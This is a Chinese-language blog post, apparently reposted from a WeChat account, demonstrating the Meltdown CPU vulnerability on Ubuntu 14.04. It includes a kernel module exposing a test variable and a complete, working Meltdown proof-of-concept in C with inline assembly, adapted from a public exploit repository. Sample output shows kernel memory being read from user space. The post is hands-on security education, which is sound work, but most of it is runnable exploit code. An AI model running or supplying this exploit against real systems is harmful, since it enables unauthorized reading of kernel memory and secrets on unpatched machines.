本文是我在Ubuntu 14.04上面進行的meltdown漏洞的親測。meltdown漏洞,使得我們可以在用戶空間讀到內(nèi)核空間的數(shù)據(jù),做越權(quán)訪問。我感覺每天YY看技術(shù)文章,而不去親自試驗,總是無法切身體會,因此我們來把它實例化,直接寫代碼看效果!本文暫時不涉及技術(shù)細節(jié),只貼相關(guān)的代碼。詳細的原理,希望后面有機會再敘述。
首先寫一個內(nèi)核模塊,包含一個很簡單的proc接口,里面有個內(nèi)核全局變量variable=0x12345678,這個proc接口暴露這個全局變量。
我待會嘗試用一個應用程序meltdown-baohua.c來把這個內(nèi)核空間變量從用戶空間偷出來。
#include
#include
#include
#include
#include
#include
#include
static unsigned int variable=0x12345678;
static struct proc_dir_entry *test_entry;
static int test_proc_show(struct seq_file *seq, void *v)
{
unsigned int *ptr_var = seq->private;
seq_printf(seq, "%u ", *ptr_var);
return 0;
}
static int test_proc_open(struct inode *inode, struct file *file)
{
return single_open(file, test_proc_show, PDE_DATA(inode));
}
static const struct file_operations test_proc_fops =
{
.owner = THIS_MODULE,
.open = test_proc_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static __init int test_proc_init(void)
{
printk("variable addr:%p ", &variable);
test_entry = proc_create_data("stolen_data",0444, NULL, &test_proc_fops, &variable);
if (test_entry)
return 0;
return -ENOMEM;
}
module_init(test_proc_init);
static __exit void test_proc_cleanup(void)
{
remove_proc_entry("stolen_data", NULL);
}
module_exit(test_proc_cleanup);
MODULE_AUTHOR("Barry Song
MODULE_DESCRIPTION("proc exmaple");
MODULE_LICENSE("GPL v2");
這個模塊對應的Makefile如下:
把它編譯執(zhí)行并加載:
#make
#sudo insmod proc.ko
然后dmesg看出來printk("variable addr:%p ", &variable);這一行打印的variable地址是:
[25996.868363] variable addr:f9adf000
然后我們用下面的程序來偷取f9adf000數(shù)據(jù):
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
//#define DEBUG 1
/* comment out if getting illegal insctructions error */
#ifndef HAVE_RDTSCP
# define HAVE_RDTSCP 1
#endif
#if !(defined(__x86_64__) || defined(__i386__))
# error "Only x86-64 and i386 are supported at the moment"
#endif
#define TARGET_OFFSET12
#define TARGET_SIZE(1 << TARGET_OFFSET)
#define BITS_READ8
#define VARIANTS_READ(1 << BITS_READ)
static char target_array[VARIANTS_READ * TARGET_SIZE];
void clflush_target(void)
{
int i;
for (i = 0; i < VARIANTS_READ; i++)
_mm_clflush(&target_array[i * TARGET_SIZE]);
}
extern char stopspeculate[];
static void __attribute__((noinline))
speculate(unsigned long addr)
{
#ifdef __x86_64__
asm volatile (
"1: "
".rept 300 "
"add $0x141, %%rax "
".endr "
"movzx (%[addr]), %%eax "
"shl $12, %%rax "
"jz 1b "
"movzx (%[target], %%rax, 1), %%rbx "
"stopspeculate: "
"nop "
:
: [target] "r" (target_array),
[addr] "r" (addr)
: "rax", "rbx"
);
#else /* ifdef __x86_64__ */
asm volatile (
"1: "
".rept 300 "
"add $0x141, %%eax "
".endr "
"movzx (%[addr]), %%eax "
"shl $12, %%eax "
"jz 1b "
"movzx (%[target], %%eax, 1), %%ebx "
"stopspeculate: "
"nop "
:
: [target] "r" (target_array),
[addr] "r" (addr)
: "rax", "rbx"
);
#endif
}
static inline int
get_access_time(volatile char *addr)
{
int time1, time2, junk;
volatile int j;
#if HAVE_RDTSCP
time1 = __rdtscp(&junk);
j = *addr;
time2 = __rdtscp(&junk);
#else
time1 = __rdtsc();
j = *addr;
_mm_mfence();
time2 = __rdtsc();
#endif
return time2 - time1;
}
static int cache_hit_threshold;
static int hist[VARIANTS_READ];
void check(void)
{
int i, time, mix_i;
volatile char *addr;
for (i = 0; i < VARIANTS_READ; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &target_array[mix_i * TARGET_SIZE];
time = get_access_time(addr);
if (time <= cache_hit_threshold)
hist[mix_i]++;
}
}
void sigsegv(int sig, siginfo_t *siginfo, void *context)
{
ucontext_t *ucontext = context;
#ifdef __x86_64__
ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;
#else
ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;
#endif
return;
}
int set_signal(void)
{
struct sigaction act = {
.sa_sigaction = sigsegv,
.sa_flags = SA_SIGINFO,
};
return sigaction(SIGSEGV, &act, NULL);
}
#define CYCLES 1000
int readbyte(int fd, unsigned long addr)
{
int i, ret = 0, max = -1, maxi = -1;
static char buf[256];
memset(hist, 0, sizeof(hist));
for (i = 0; i < CYCLES; i++) {
ret = pread(fd, buf, sizeof(buf), 0);
if (ret < 0) {
perror("pread");
break;
}
clflush_target();
speculate(addr);
check();
}
#ifdef DEBUG
for (i = 0; i < VARIANTS_READ; i++)
if (hist[i] > 0)
printf("addr %lx hist[%x] = %d ", addr, i, hist[i]);
#endif
for (i = 1; i < VARIANTS_READ; i++) {
if (hist[i] && hist[i] > max) {
max = hist[i];
maxi = i;
}
}
return maxi;
}
static char *progname;
int usage(void)
{
printf("%s: [hexaddr] [size] ", progname);
return 2;
}
static int mysqrt(long val)
{
int root = val / 2, prevroot = 0, i = 0;
while (prevroot != root && i++ < 100) {
prevroot = root;
root = (val / root + root) / 2;
}
return root;
}
#define ESTIMATE_CYCLES1000000
static void
set_cache_hit_threshold(void)
{
long cached, uncached, i;
if (0) {
cache_hit_threshold = 80;
return;
}
for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
cached += get_access_time(target_array);
for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
cached += get_access_time(target_array);
for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
_mm_clflush(target_array);
uncached += get_access_time(target_array);
}
cached /= ESTIMATE_CYCLES;
uncached /= ESTIMATE_CYCLES;
cache_hit_threshold = mysqrt(cached * uncached);
printf("cached = %ld, uncached = %ld, threshold %d ",
cached, uncached, cache_hit_threshold);
}
static int min(int a, int b)
{
return a < b ? a : b;
}
int main(int argc, char *argv[])
{
int ret, fd, i, is_vulnerable;
unsigned long addr, size;
progname = argv[0];
if (argc < 3)
return usage();
if (sscanf(argv[1], "%lx", &addr) != 1)
return usage();
if (sscanf(argv[2], "%lx", &size) != 1)
return usage();
memset(target_array, 1, sizeof(target_array));
ret = set_signal();
set_cache_hit_threshold();
fd = open("/proc/stolen_data", O_RDONLY);
if (fd < 0) {
perror("open");
return -1;
}
for (i = 0; i < size; i++) {
ret = readbyte(fd, addr);
if (ret == -1)
ret = 0xff;
printf("read %lx = %x %c (score=%d/%d) ",
addr, ret, isprint(ret) ? ret : ' ',
ret != 0xff ? hist[ret] : 0,
CYCLES);
addr++;
}
close(fd);
return 0;
}
上述程序改編自:https://github.com/paboldin/meltdown-exploit.git
編譯上述程序,并執(zhí)行偷?。?/p>
baohua@baohua-VirtualBox:~/meltdown-exploit$ gcc -O2 -msse2 meltdown-baohua.c
baohua@baohua-VirtualBox:~/meltdown-exploit$ sudo ./a.outf9adf000 4
[sudo] password for baohua:
cached = 31, uncached = 312, threshold 98
read f9adf000 = 78 x (score=120/1000)
read f9adf001 = 56 V (score=129/1000)
read f9adf002 = 34 4 (score=218/1000)
read f9adf003 = 12 (score=178/1000)
這樣我們就偷取到了f9adf000開始的4個字節(jié),12345678了!
詳細的原理,暫時沒有時間講了,讀者們可以先動手做起來!
-
內(nèi)存
+關(guān)注
關(guān)注
8文章
3025瀏覽量
74060 -
Ubuntu
+關(guān)注
關(guān)注
5文章
563瀏覽量
29778 -
漏洞
+關(guān)注
關(guān)注
0文章
204瀏覽量
15377
原文標題:宋寶華: 用代碼切身實踐體會meltdown漏洞
文章出處:【微信號:LinuxDev,微信公眾號:Linux閱碼場】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關(guān)推薦
評論